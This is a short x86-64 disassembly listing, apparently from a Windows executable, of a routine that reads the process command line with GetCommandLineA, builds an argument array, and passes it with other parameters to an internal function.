call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call fcn.1400012f4
call fcn.140001398
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call fcn.1400011a8
mov rbx, rax
call fcn.1400013a0
xor r9d, r9d
test edi, edi
jle 0x1400010b1
xor edx, edx
mov r9d, edi
mov rcx, qword [rax]
lea rax, [rax + 0x10]
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109e
mov rdx, qword [0x14003f008]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rdx, rdx
jne 0x1400010c8
mov rdx, qword [rbx]
mov rcx, qword [section..data]
test rcx, rcx
jne 0x1400010d7
mov rcx, qword [rbx]
mov r9, qword [0x14003fcf0]
mov r8d, 1
test r9, r9
setne al
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 1
mov byte [rsp + 0x50], al
lea rax, [0x14002d4d4]
mov qword [rsp + 0x48], rdx
mov rdx, rbx
mov qword [rsp + 0x40], rcx
mov ecx, edi
mov qword [rsp + 0x38], rax
lea rax, [0x14002d4d8]
mov qword [rsp + 0x30], rax
mov rax, qword [0x14003fcf8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
call fcn.140001d94
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret